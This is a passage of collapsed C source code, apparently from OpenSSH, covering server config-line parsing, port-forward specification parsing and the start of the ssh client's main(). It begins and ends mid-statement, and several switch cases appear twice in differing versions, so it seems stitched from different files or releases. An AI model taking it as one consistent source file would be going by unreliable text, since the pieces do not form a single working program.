%d: too many allow groups.", filename, linenum); options->allow_groups[options->num_allow_groups++] = xstrdup(arg); } break; case sDenyGroups: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_deny_groups >= MAX_DENY_GROUPS) fatal("%s line %d: too many deny groups.", filename, linenum); options->deny_groups[options->num_deny_groups++] = xstrdup(arg); } break; case sCiphers: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing argument.", filename, linenum); if (!ciphers_valid(arg)) fatal("%s line %d: Bad SSH2 cipher spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (options->ciphers == NULL) options->ciphers = xstrdup(arg); break; case sMacs: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing argument.", filename, linenum); if (!mac_valid(arg)) fatal("%s line %d: Bad SSH2 mac spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (options->macs == NULL) options->macs = xstrdup(arg); break; case sProtocol: intptr = &options->protocol; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing argument.", filename, linenum); value = proto_spec(arg); if (value == SSH_PROTO_UNKNOWN) fatal("%s line %d: Bad protocol spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*intptr == SSH_PROTO_UNKNOWN) *intptr = value; break; case sSubsystem: if (options->num_subsystems >= MAX_SUBSYSTEMS) { fatal("%s line %d: too many subsystems defined.", filename, linenum); } arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing subsystem name.", filename, linenum); for (i = 0; i < options->num_subsystems; i++) if (strcmp(arg, options->subsystem_name[i]) == 0) fatal("%s line %d: Subsystem '%s' already defined.", filename, linenum, arg); options->subsystem_name[options->num_subsystems] = xstrdup(arg); arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing subsystem command.", filename, linenum); options->subsystem_command[options->num_subsystems] = xstrdup(arg); options->num_subsystems++; break; case sMaxStartups: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing MaxStartups spec.", filename, linenum); if ((n = sscanf(arg, "%d:%d:%d", &options->max_startups_begin, &options->max_startups_rate, &options->max_startups)) == 3) { if (options->max_startups_begin > options->max_startups || options->max_startups_rate > 100 || options->max_startups_rate < 1) fatal("%s line %d: Illegal MaxStartups spec.", filename, linenum); } else if (n != 1) fatal("%s line %d: Illegal MaxStartups spec.", filename, linenum); else options->max_startups = options->max_startups_begin; break; case sBanner: charptr = &options->banner; goto parse_filename; /* * These options can contain %X options expanded at * connect time, so that you can specify paths like: * * AuthorizedKeysFile /etc/ssh_keys/%u */ case sAuthorizedKeysFile: case sAuthorizedKeysFile2: charptr = (opcode == sAuthorizedKeysFile ) ? &options->authorized_keys_file : &options->authorized_keys_file2; goto parse_filename; case sClientAliveInterval: intptr = &options->client_alive_interval; goto parse_time; case sClientAliveCountMax: intptr = &options->client_alive_count_max; goto parse_int; case sDeprecated: log("%s line %d: Deprecated option %s", filename, linenum, arg); while (arg) arg = strdelim(&cp); break; default: fatal("%s line %d: Missing handler for opcode %s (%d)", filename, linenum, arg, opcode); } if ((arg = strdelim(&cp)) != NULL && *arg != '\0') fatal("%s line %d: garbage at end of line; \"%.200s\".", filename, linenum, arg); return 0; }
/* * parse_forward * parses a string containing a port forwarding specification of the form: * dynamicfwd == 0 * [listenhost:]listenport:connecthost:connectport * dynamicfwd == 1 * [listenhost:]listenport * returns number of arguments parsed or zero on error */ int parse_forward(Forward *fwd, const char *fwdspec, int dynamicfwd, int remotefwd) { int i; char *p, *cp, *fwdarg[4]; memset(fwd, '\0', sizeof(*fwd)); cp = p = xstrdup(fwdspec); /* skip leading spaces */ while (isspace(*cp)) cp++; for (i = 0; i < 4; ++i) if ((fwdarg[i] = hpdelim(&cp)) == NULL) break; /* Check for trailing garbage */ if (cp != NULL) i = 0; /* failure */ switch (i) { case 1: fwd->listen_host = NULL; fwd->listen_port = a2port(fwdarg[0]); fwd->connect_host = xstrdup("socks"); break; case 2: fwd->listen_host = xstrdup(cleanhostname(fwdarg[0])); fwd->listen_port = a2port(fwdarg[1]); fwd->connect_host = xstrdup("socks"); break; case 3: fwd->listen_host = NULL; fwd->listen_port = a2port(fwdarg[0]); fwd->connect_host = xstrdup(cleanhostname(fwdarg[1])); fwd->connect_port = a2port(fwdarg[2]); break; case 4: fwd->listen_host = xstrdup(cleanhostname(fwdarg[0])); fwd->listen_port = a2port(fwdarg[1]); fwd->connect_host = xstrdup(cleanhostname(fwdarg[2])); fwd->connect_port = a2port(fwdarg[3]); break; default: i = 0; /* failure */ } xfree(p); if (dynamicfwd) { if (!(i == 1 || i == 2)) goto fail_free; } else { if (!(i == 3 || i == 4)) goto fail_free; if (fwd->connect_port <= 0) goto fail_free; } if (fwd->listen_port < 0 || (!remotefwd && fwd->listen_port == 0)) goto fail_free; if (fwd->connect_host != NULL && strlen(fwd->connect_host) >= NI_MAXHOST) goto fail_free; if (fwd->listen_host != NULL && strlen(fwd->listen_host) >= NI_MAXHOST) goto fail_free; return (i); fail_free: if (fwd->connect_host != NULL) { xfree(fwd->connect_host); fwd->connect_host = NULL; } if (fwd->listen_host != NULL) { xfree(fwd->listen_host); fwd->listen_host = NULL; } return (0); }
int process_server_config_line(ServerOptions *options, char *line, const char *filename, int linenum, int *activep, const char *user, const char *host, const char *address) { char *cp, **charptr, *arg, *p; int cmdline = 0, *intptr, value, n; SyslogFacility *log_facility_ptr; LogLevel *log_level_ptr; ServerOpCodes opcode; int port; u_int i, flags = 0; size_t len; cp = line; if ((arg = strdelim(&cp)) == NULL) return 0; /* Ignore leading whitespace */ if (*arg == '\0') arg = strdelim(&cp); if (!arg || !*arg || *arg == '#') return 0; intptr = NULL; charptr = NULL; opcode = parse_token(arg, filename, linenum, &flags); if (activep == NULL) { /* We are processing a command line directive */ cmdline = 1; activep = &cmdline; } if (*activep && opcode != sMatch) debug3("%s:%d setting %s %s", filename, linenum, arg, cp); if (*activep == 0 && !(flags & SSHCFG_MATCH)) { if (user == NULL) { fatal("%s line %d: Directive '%s' is not allowed " "within a Match block", filename, linenum, arg); } else { /* this is a directive we have already processed */ while (arg) arg = strdelim(&cp); return 0; } } switch (opcode) { /* Portable-specific options */ case sUsePAM: intptr = &options->use_pam; goto parse_flag; /* Standard Options */ case sBadOption: return -1; case sPort: /* ignore ports from configfile if cmdline specifies ports */ if (options->ports_from_cmdline) return 0; if (options->listen_addrs != NULL) fatal("%s line %d: ports must be specified before " "ListenAddress.", filename, linenum); if (options->num_ports >= MAX_PORTS) fatal("%s line %d: too many ports.", filename, linenum); arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing port number.", filename, linenum); options->ports[options->num_ports++] = a2port(arg); if (options->ports[options->num_ports-1] <= 0) fatal("%s line %d: Badly formatted port number.", filename, linenum); break; case sServerKeyBits: intptr = &options->server_key_bits; parse_int: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing integer value.", filename, linenum); value = atoi(arg); if (*activep && *intptr == -1) *intptr = value; break; case sLoginGraceTime: intptr = &options->login_grace_time; parse_time: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing time value.", filename, linenum); if ((value = convtime(arg)) == -1) fatal("%s line %d: invalid time value.", filename, linenum); if (*intptr == -1) *intptr = value; break; case sKeyRegenerationTime: intptr = &options->key_regeneration_time; goto parse_time; case sListenAddress: arg = strdelim(&cp); if (arg == NULL || *arg == '\0') fatal("%s line %d: missing address", filename, linenum); /* check for bare IPv6 address: no "[]" and 2 or more ":" */ if (strchr(arg, '[') == NULL && (p = strchr(arg, ':')) != NULL && strchr(p+1, ':') != NULL) { add_listen_addr(options, arg, 0); break; } p = hpdelim(&arg); if (p == NULL) fatal("%s line %d: bad address:port usage", filename, linenum); p = cleanhostname(p); if (arg == NULL) port = 0; else if ((port = a2port(arg)) <= 0) fatal("%s line %d: bad port number", filename, linenum); add_listen_addr(options, p, port); break; case sAddressFamily: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing address family.", filename, linenum); intptr = &options->address_family; if (options->listen_addrs != NULL) fatal("%s line %d: address family must be specified before " "ListenAddress.", filename, linenum); if (strcasecmp(arg, "inet") == 0) value = AF_INET; else if (strcasecmp(arg, "inet6") == 0) value = AF_INET6; else if (strcasecmp(arg, "any") == 0) value = AF_UNSPEC; else fatal("%s line %d: unsupported address family \"%s\".", filename, linenum, arg); if (*intptr == -1) *intptr = value; break; case sHostKeyFile: intptr = &options->num_host_key_files; if (*intptr >= MAX_HOSTKEYS) fatal("%s line %d: too many host keys specified (max %d).", filename, linenum, MAX_HOSTKEYS); charptr = &options->host_key_files[*intptr]; parse_filename: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing file name.", filename, linenum); if (*activep && *charptr == NULL) { *charptr = tilde_expand_filename(arg, getuid()); /* increase optional counter */ if (intptr != NULL) *intptr = *intptr + 1; } break; case sPidFile: charptr = &options->pid_file; goto parse_filename; case sPermitRootLogin: intptr = &options->permit_root_login; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing yes/" "without-password/forced-commands-only/no " "argument.", filename, linenum); value = 0; /* silence compiler */ if (strcmp(arg, "without-password") == 0) value = PERMIT_NO_PASSWD; else if (strcmp(arg, "forced-commands-only") == 0) value = PERMIT_FORCED_ONLY; else if (strcmp(arg, "yes") == 0) value = PERMIT_YES; else if (strcmp(arg, "no") == 0) value = PERMIT_NO; else fatal("%s line %d: Bad yes/" "without-password/forced-commands-only/no " "argument: %s", filename, linenum, arg); if (*activep && *intptr == -1) *intptr = value; break; case sIgnoreRhosts: intptr = &options->ignore_rhosts; parse_flag: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing yes/no argument.", filename, linenum); value = 0; /* silence compiler */ if (strcmp(arg, "yes") == 0) value = 1; else if (strcmp(arg, "no") == 0) value = 0; else fatal("%s line %d: Bad yes/no argument: %s", filename, linenum, arg); if (*activep && *intptr == -1) *intptr = value; break; case sIgnoreUserKnownHosts: intptr = &options->ignore_user_known_hosts; goto parse_flag; case sRhostsRSAAuthentication: intptr = &options->rhosts_rsa_authentication; goto parse_flag; case sHostbasedAuthentication: intptr = &options->hostbased_authentication; goto parse_flag; case sHostbasedUsesNameFromPacketOnly: intptr = &options->hostbased_uses_name_from_packet_only; goto parse_flag; case sRSAAuthentication: intptr = &options->rsa_authentication; goto parse_flag; case sPubkeyAuthentication: intptr = &options->pubkey_authentication; goto parse_flag; case sKerberosAuthentication: intptr = &options->kerberos_authentication; goto parse_flag; case sKerberosOrLocalPasswd: intptr = &options->kerberos_or_local_passwd; goto parse_flag; case sKerberosTicketCleanup: intptr = &options->kerberos_ticket_cleanup; goto parse_flag; case sKerberosGetAFSToken: intptr = &options->kerberos_get_afs_token; goto parse_flag; case sGssAuthentication: intptr = &options->gss_authentication; goto parse_flag; case sGssKeyEx: intptr = &options->gss_keyex; goto parse_flag; case sGssCleanupCreds: intptr = &options->gss_cleanup_creds; goto parse_flag; case sGssStrictAcceptor: intptr = &options->gss_strict_acceptor; goto parse_flag; case sGssStoreRekey: intptr = &options->gss_store_rekey; goto parse_flag; case sPasswordAuthentication: intptr = &options->password_authentication; goto parse_flag; case sZeroKnowledgePasswordAuthentication: intptr = &options->zero_knowledge_password_authentication; goto parse_flag; case sKbdInteractiveAuthentication: intptr = &options->kbd_interactive_authentication; goto parse_flag; case sChallengeResponseAuthentication: intptr = &options->challenge_response_authentication; goto parse_flag; case sPrintMotd: intptr = &options->print_motd; goto parse_flag; case sPrintLastLog: intptr = &options->print_lastlog; goto parse_flag; case sX11Forwarding: intptr = &options->x11_forwarding; goto parse_flag; case sX11DisplayOffset: intptr = &options->x11_display_offset; goto parse_int; case sX11UseLocalhost: intptr = &options->x11_use_localhost; goto parse_flag; case sXAuthLocation: charptr = &options->xauth_location; goto parse_filename; case sStrictModes: intptr = &options->strict_modes; goto parse_flag; case sTCPKeepAlive: intptr = &options->tcp_keep_alive; goto parse_flag; case sEmptyPasswd: intptr = &options->permit_empty_passwd; goto parse_flag; case sPermitUserEnvironment: intptr = &options->permit_user_env; goto parse_flag; case sUseLogin: intptr = &options->use_login; goto parse_flag; case sCompression: intptr = &options->compression; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing yes/no/delayed " "argument.", filename, linenum); value = 0; /* silence compiler */ if (strcmp(arg, "delayed") == 0) value = COMP_DELAYED; else if (strcmp(arg, "yes") == 0) value = COMP_ZLIB; else if (strcmp(arg, "no") == 0) value = COMP_NONE; else fatal("%s line %d: Bad yes/no/delayed " "argument: %s", filename, linenum, arg); if (*intptr == -1) *intptr = value; break; case sGatewayPorts: intptr = &options->gateway_ports; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing yes/no/clientspecified " "argument.", filename, linenum); value = 0; /* silence compiler */ if (strcmp(arg, "clientspecified") == 0) value = 2; else if (strcmp(arg, "yes") == 0) value = 1; else if (strcmp(arg, "no") == 0) value = 0; else fatal("%s line %d: Bad yes/no/clientspecified " "argument: %s", filename, linenum, arg); if (*activep && *intptr == -1) *intptr = value; break; case sUseDNS: intptr = &options->use_dns; goto parse_flag; case sLogFacility: log_facility_ptr = &options->log_facility; arg = strdelim(&cp); value = log_facility_number(arg); if (value == SYSLOG_FACILITY_NOT_SET) fatal("%.200s line %d: unsupported log facility '%s'", filename, linenum, arg ? arg : "<NONE>"); if (*log_facility_ptr == -1) *log_facility_ptr = (SyslogFacility) value; break; case sLogLevel: log_level_ptr = &options->log_level; arg = strdelim(&cp); value = log_level_number(arg); if (value == SYSLOG_LEVEL_NOT_SET) fatal("%.200s line %d: unsupported log level '%s'", filename, linenum, arg ? arg : "<NONE>"); if (*log_level_ptr == -1) *log_level_ptr = (LogLevel) value; break; case sAllowTcpForwarding: intptr = &options->allow_tcp_forwarding; goto parse_flag; case sAllowAgentForwarding: intptr = &options->allow_agent_forwarding; goto parse_flag; case sUsePrivilegeSeparation: intptr = &use_privsep; goto parse_flag; case sAllowUsers: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_allow_users >= MAX_ALLOW_USERS) fatal("%s line %d: too many allow users.", filename, linenum); options->allow_users[options->num_allow_users++] = xstrdup(arg); } break; case sDenyUsers: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_deny_users >= MAX_DENY_USERS) fatal("%s line %d: too many deny users.", filename, linenum); options->deny_users[options->num_deny_users++] = xstrdup(arg); } break; case sAllowGroups: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_allow_groups >= MAX_ALLOW_GROUPS) fatal("%s line %d: too many allow groups.", filename, linenum); options->allow_groups[options->num_allow_groups++] = xstrdup(arg); } break; case sDenyGroups: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_deny_groups >= MAX_DENY_GROUPS) fatal("%s line %d: too many deny groups.", filename, linenum); options->deny_groups[options->num_deny_groups++] = xstrdup(arg); } break; case sCiphers: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing argument.", filename, linenum); if (!ciphers_valid(arg)) fatal("%s line %d: Bad SSH2 cipher spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (options->ciphers == NULL) options->ciphers = xstrdup(arg); break; case sMacs: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing argument.", filename, linenum); if (!mac_valid(arg)) fatal("%s line %d: Bad SSH2 mac spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (options->macs == NULL) options->macs = xstrdup(arg); break; case sProtocol: intptr = &options->protocol; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing argument.", filename, linenum); value = proto_spec(arg); if (value == SSH_PROTO_UNKNOWN) fatal("%s line %d: Bad protocol spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*intptr == SSH_PROTO_UNKNOWN) *intptr = value; break; case sSubsystem: if (options->num_subsystems >= MAX_SUBSYSTEMS) { fatal("%s line %d: too many subsystems defined.", filename, linenum); } arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing subsystem name.", filename, linenum); if (!*activep) { arg = strdelim(&cp); break; } for (i = 0; i < options->num_subsystems; i++) if (strcmp(arg, options->subsystem_name[i]) == 0) fatal("%s line %d: Subsystem '%s' already defined.", filename, linenum, arg); options->subsystem_name[options->num_subsystems] = xstrdup(arg); arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing subsystem command.", filename, linenum); options->subsystem_command[options->num_subsystems] = xstrdup(arg); /* Collect arguments (separate to executable) */ p = xstrdup(arg); len = strlen(p) + 1; while ((arg = strdelim(&cp)) != NULL && *arg != '\0') { len += 1 + strlen(arg); p = xrealloc(p, 1, len); strlcat(p, " ", len); strlcat(p, arg, len); } options->subsystem_args[options->num_subsystems] = p; options->num_subsystems++; break; case sMaxStartups: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing MaxStartups spec.", filename, linenum); if ((n = sscanf(arg, "%d:%d:%d", &options->max_startups_begin, &options->max_startups_rate, &options->max_startups)) == 3) { if (options->max_startups_begin > options->max_startups || options->max_startups_rate > 100 || options->max_startups_rate < 1) fatal("%s line %d: Illegal MaxStartups spec.", filename, linenum); } else if (n != 1) fatal("%s line %d: Illegal MaxStartups spec.", filename, linenum); else options->max_startups = options->max_startups_begin; break; case sMaxAuthTries: intptr = &options->max_authtries; goto parse_int; case sMaxSessions: intptr = &options->max_sessions; goto parse_int; case sBanner: charptr = &options->banner; goto parse_filename; /* * These options can contain %X options expanded at * connect time, so that you can specify paths like: * * AuthorizedKeysFile /etc/ssh_keys/%u */ case sAuthorizedKeysFile: case sAuthorizedKeysFile2: charptr = (opcode == sAuthorizedKeysFile) ? &options->authorized_keys_file : &options->authorized_keys_file2; goto parse_filename; case sClientAliveInterval: intptr = &options->client_alive_interval; goto parse_time; case sClientAliveCountMax: intptr = &options->client_alive_count_max; goto parse_int; case sAcceptEnv: while ((arg = strdelim(&cp)) && *arg != '\0') { if (strchr(arg, '=') != NULL) fatal("%s line %d: Invalid environment name.", filename, linenum); if (options->num_accept_env >= MAX_ACCEPT_ENV) fatal("%s line %d: too many allow env.", filename, linenum); if (!*activep) break; options->accept_env[options->num_accept_env++] = xstrdup(arg); } break; case sPermitTunnel: intptr = &options->permit_tun; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: Missing yes/point-to-point/" "ethernet/no argument.", filename, linenum); value = -1; for (i = 0; tunmode_desc[i].val != -1; i++) if (strcmp(tunmode_desc[i].text, arg) == 0) { value = tunmode_desc[i].val; break; } if (value == -1) fatal("%s line %d: Bad yes/point-to-point/ethernet/" "no argument: %s", filename, linenum, arg); if (*intptr == -1) *intptr = value; break; case sMatch: if (cmdline) fatal("Match directive not supported as a command-line " "option"); value = match_cfg_line(&cp, linenum, user, host, address); if (value < 0) fatal("%s line %d: Bad Match condition", filename, linenum); *activep = value; break; case sPermitOpen: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing PermitOpen specification", filename, linenum); n = options->num_permitted_opens; /* modified later */ if (strcmp(arg, "any") == 0) { if (*activep && n == -1) { channel_clear_adm_permitted_opens(); options->num_permitted_opens = 0; } break; } if (*activep && n == -1) channel_clear_adm_permitted_opens(); for (; arg != NULL && *arg != '\0'; arg = strdelim(&cp)) { p = hpdelim(&arg); if (p == NULL) fatal("%s line %d: missing host in PermitOpen", filename, linenum); p = cleanhostname(p); if (arg == NULL || (port = a2port(arg)) <= 0) fatal("%s line %d: bad port number in " "PermitOpen", filename, linenum); if (*activep && n == -1) options->num_permitted_opens = channel_add_adm_permitted_opens(p, port); } break; case sForceCommand: if (cp == NULL) fatal("%.200s line %d: Missing argument.", filename, linenum); len = strspn(cp, WHITESPACE); if (*activep && options->adm_forced_command == NULL) options->adm_forced_command = xstrdup(cp + len); return 0; case sChrootDirectory: charptr = &options->chroot_directory; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing file name.", filename, linenum); if (*activep && *charptr == NULL) *charptr = xstrdup(arg); break; case sDeprecated: logit("%s line %d: Deprecated option %s", filename, linenum, arg); while (arg) arg = strdelim(&cp); break; case sUnsupported: logit("%s line %d: Unsupported option %s", filename, linenum, arg); while (arg) arg = strdelim(&cp); break; default: fatal("%s line %d: Missing handler for opcode %s (%d)", filename, linenum, arg, opcode); } if ((arg = strdelim(&cp)) != NULL && *arg != '\0') fatal("%s line %d: garbage at end of line; \"%.200s\".", filename, linenum, arg); return 0; }
/* * Main program for the ssh client. */ int main(int ac, char **av) { int i, r, opt, exit_status, use_syslog; char *p, *cp, *line, *argv0, buf[MAXPATHLEN], *host_arg; char thishost[NI_MAXHOST], shorthost[NI_MAXHOST], portstr[NI_MAXSERV]; struct stat st; struct passwd *pw; int dummy, timeout_ms; extern int optind, optreset; extern char *optarg; struct servent *sp; Forward fwd; /* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */ sanitise_stdfd(); __progname = ssh_get_progname(av[0]); #ifndef HAVE_SETPROCTITLE /* Prepare for later setproctitle emulation */ /* Save argv so it isn't clobbered by setproctitle() emulation */ saved_av = xcalloc(ac + 1, sizeof(*saved_av)); for (i = 0; i < ac; i++) saved_av[i] = xstrdup(av[i]); saved_av[i] = NULL; compat_init_setproctitle(ac, av); av = saved_av; #endif /* * Discard other fds that are hanging around. These can cause problem * with backgrounded ssh processes started by ControlPersist. */ closefrom(STDERR_FILENO + 1); /* * Save the original real uid. It will be needed later (uid-swapping * may clobber the real uid). */ original_real_uid = getuid(); original_effective_uid = geteuid(); /* * Use uid-swapping to give up root privileges for the duration of * option processing. We will re-instantiate the rights when we are * ready to create the privileged port, and will permanently drop * them when the port has been created (actually, when the connection * has been made, as we may need to create the port several times). */ PRIV_END; #ifdef HAVE_SETRLIMIT /* If we are installed setuid root be careful to not drop core. */ if (original_real_uid != original_effective_uid) { struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = 0; if (setrlimit(RLIMIT_CORE, &rlim) < 0) fatal("setrlimit failed: %.100s", strerror(errno)); } #endif /* Get user data. */ pw = getpwuid(original_real_uid); if (!pw) { logit("You don't exist, go away!"); exit(255); } /* Take a copy of the returned structure. */ pw = pwcopy(pw); /* * Set our umask to something reasonable, as some files are created * with the default umask. This will make them world-readable but * writable only by the owner, which is ok for all files for which we * don't set the modes explicitly. */ umask(022); /* * Initialize option structure to indicate that no values have been * set. */ initialize_options(&options); /* Parse command-line arguments. */ host = NULL; use_syslog = 0; argv0 = av[0]; again: while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx" "ACD:F:I:KL:MNO:PR:S:TVw:W:XYy")) != -1) { switch (opt) { case '1': options.protocol = SSH_PROTO_1; break; case '2': options.protocol = SSH_PROTO_2; break; case '4': options.address_family = AF_INET; break; case '6': options.address_family = AF_INET6; break; case 'n': stdin_null_flag = 1; break; case 'f': fork_after_authentication_flag = 1; stdin_null_flag = 1; break; case 'x': options.forward_x11 = 0; break; case 'X': options.forward_x11 = 1; break; case 'y': use_syslog = 1; break; case 'Y': options.forward_x11 = 1; options.forward_x11_trusted = 1; break; case 'g': options.gateway_ports = 1; break; case 'O': if (stdio_forward_host != NULL) fatal("Cannot specify multiplexing " "command with -W"); else if (muxclient_command != 0) fatal("Multiplexing command already specified"); if (strcmp(optarg, "check") == 0) muxclient_command = SSHMUX_COMMAND_ALIVE_CHECK; else if (strcmp(optarg, "forward") == 0) muxclient_command = SSHMUX_COMMAND_FORWARD; else if (strcmp(optarg, "exit") == 0) muxclient_command = SSHMUX_COMMAND_TERMINATE; else if (strcmp(optarg, "stop") == 0) muxclient_command = SSHMUX_COMMAND_STOP; else if (strcmp(optarg, "cancel") == 0) muxclient_command = SSHMUX_COMMAND_CANCEL_FWD; else fatal("Invalid multiplex command."); break; case 'P': /* deprecated */ options.use_privileged_port = 0; break; case 'a': options.forward_agent = 0; break; case 'A': options.forward_agent = 1; break; case 'k': options.gss_deleg_creds = 0; break; case 'K': options.gss_authentication = 1; options.gss_deleg_creds = 1; break; case 'i': if (stat(optarg, &st) < 0) { fprintf(stderr, "Warning: Identity file %s " "not accessible: %s.\n", optarg, strerror(errno)); break; } if (options.num_identity_files >= SSH_MAX_IDENTITY_FILES) fatal("Too many identity files specified " "(max %d)", SSH_MAX_IDENTITY_FILES); options.identity_files[options.num_identity_files++] = xstrdup(optarg); break; case 'I': #ifdef ENABLE_PKCS11 options.pkcs11_provider = xstrdup(optarg); #else fprintf(stderr, "no support for PKCS#11.\n"); #endif break; case 't': if (options.request_tty == REQUEST_TTY_YES) options.request_tty = REQUEST_TTY_FORCE; else options.request_tty = REQUEST_TTY_YES; break; case 'v': if (debug_flag == 0) { debug_flag = 1; options.log_level = SYSLOG_LEVEL_DEBUG1; } else { if (options.log_level < SYSLOG_LEVEL_DEBUG3) options.log_level++; break; } /* FALLTHROUGH */ case 'V': fprintf(stderr, "%s, %s\n", SSH_RELEASE, SSLeay_version(SSLEAY_VERSION)); if (opt == 'V') exit(0); break; case 'w': if (options.tun_open == -1) options.tun_open = SSH_TUNMODE_DEFAULT; options.tun_local = a2tun(optarg, &options.tun_remote); if (options.tun_local == SSH_TUNID_ERR) { fprintf(stderr, "Bad tun device '%s'\n", optarg); exit(255); } break; case 'W': if (stdio_forward_host != NULL) fatal("stdio forward already specified"); if (muxclient_command != 0) fatal("Cannot specify stdio forward with -O"); if (parse_forward(&fwd, optarg, 1, 0)) { stdio_forward_host = fwd.listen_host; stdio_forward_port = fwd.listen_port; xfree(fwd.connect_host); } else { fprintf(stderr, "Bad stdio forwarding specification '%s'\n", optarg); exit(255); } options.request_tty = REQUEST_TTY_NO; no_shell_flag = 1; options.clear_forwardings = 1; options.exit_on_forward_failure = 1; break; case 'q': options.log_level = SYSLOG_LEVEL_QUIET; break; case 'e': if (optarg[0] == '^' && optarg[2] == 0 && (u_char) optarg[1] >= 64 && (u_char) optarg[1] < 128) options.escape_char = (u_char) optarg[1] & 31; else if (strlen(optarg) == 1) options.escape_char = (u_char) optarg[0]; else if (strcmp(optarg, "none") == 0) options.escape_char = SSH_ESCAPECHAR_NONE; else { fprintf(stderr, "Bad escape character '%s'.\n", optarg); exit(255); } break; case 'c': if (ciphers_valid(optarg)) { /* SSH2 only */ options.ciphers = xstrdup(optarg); options.cipher = SSH_CIPHER_INVALID; } else { /* SSH1 only */ options.cipher = cipher_number(optarg); if (options.cipher == -1) { fprintf(stderr, "Unknown cipher type '%s'\n", optarg); exit(255); } if (options.cipher == SSH_CIPHER_3DES) options.ciphers = "3des-cbc"; else if (options.cipher == SSH_CIPHER_BLOWFISH) options.ciphers = "blowfish-cbc"; else options.ciphers = (char *)-1; } break; case 'm': if (mac_valid(optarg)) options.macs = xstrdup(optarg); else { fprintf(stderr, "Unknown mac type '%s'\n", optarg); exit(255); } break; case 'M': if (options.control_master == SSHCTL_MASTER_YES) options.control_master = SSHCTL_MASTER_ASK; else options.control_master = SSHCTL_MASTER_YES; break; case 'p': options.port = a2port(optarg); if (options.port <= 0) { fprintf(stderr, "Bad port '%s'\n", optarg); exit(255); } break; case 'l': options.user = optarg; break; case 'L': if (parse_forward(&fwd, optarg, 0, 0)) add_local_forward(&options, &fwd); else { fprintf(stderr, "Bad local forwarding specification '%s'\n", optarg); exit(255); } break; case 'R': if (parse_forward(&fwd, optarg, 0, 1)) { add_remote_forward(&options, &fwd); } else { fprintf(stderr, "Bad remote forwarding specification " "'%s'\n", optarg); exit(255); } break; case 'D': if (parse_forward(&fwd, optarg, 1, 0)) { add_local_forward(&options, &fwd); } else { fprintf(stderr, "Bad dynamic forwarding specification " "'%s'\n", optarg); exit(255); } break; case 'C': options.compression = 1; break; case 'N': no_shell_flag = 1; options.request_tty = REQUEST_TTY_NO; break; case 'T': options.request_tty = REQUEST_TTY_NO; break; case 'o': dummy = 1; line = xstrdup(optarg); if (process_config_line(&options, host ? host : "", line, "command-line", 0, &dummy) != 0) exit(255); xfree(line); break; case 's': subsystem_flag = 1; break; case 'S': if (options.control_path != NULL) free(options.control_path); options.control_path = xstrdup(optarg); break; case 'b': options.bind_address = optarg; break; case 'F': config = optarg; break; default: usage(); } } ac -= optind; av += optind; if (ac > 0 && !host) { if (strrchr(*av, '@')) { p = xstrdup(*av); cp = strrchr(p, '@'); if (cp == NULL || cp == p) usage(); options.user = p; *cp = '\0'; host = ++cp; } else host = *av; if (ac > 1) { optind = optreset = 1; goto again; } ac--, av++; } /* Check that we got a host name. */ if (!host) usage(); OpenSSL_add_all_algorithms(); ERR_load_crypto_strings(); /* Initialize the command to execute on remote host. */ buffer_init(&command); if (options.request_tty == REQUEST_TTY_YES || options.request_tty == REQUEST_TTY_FORCE) tty_flag = 1; /* * Save the command to execute on the remote host in a buffer. There * is no limit on the length of the command, except by the maximum * packet size. Also sets the tty flag if there is no command. */ if (!ac) { /* No command specified - execute shell on a tty. */ tty_flag = options.request_tty != REQUEST_TTY_NO; if (subsystem_flag) { fprintf(stderr, "You must specify a subsystem to invoke.\n"); usage(); } } else { /* A command has been specified. Store it into the buffer. */ for (i = 0; i < ac; i++) { if (i) buffer_append(&command, " ", 1); buffer_append(&command, av[i], strlen(av[i])); } } /* Cannot fork to background if no command. */ if (fork_after_authentication_flag && buffer_len(&command) == 0 && !no_shell_flag) fatal("Cannot fork into background without a command " "to execute."); /* Allocate a tty by default if no command specified. */ if (buffer_len(&command) == 0) tty_flag = options.request_tty != REQUEST_TTY_NO; /* Force no tty */ if (options.request_tty == REQUEST_TTY_NO || muxclient_command != 0) tty_flag = 0; /* Do not allocate a tty if stdin is not a tty. */ if ((!isatty(fileno(stdin)) || 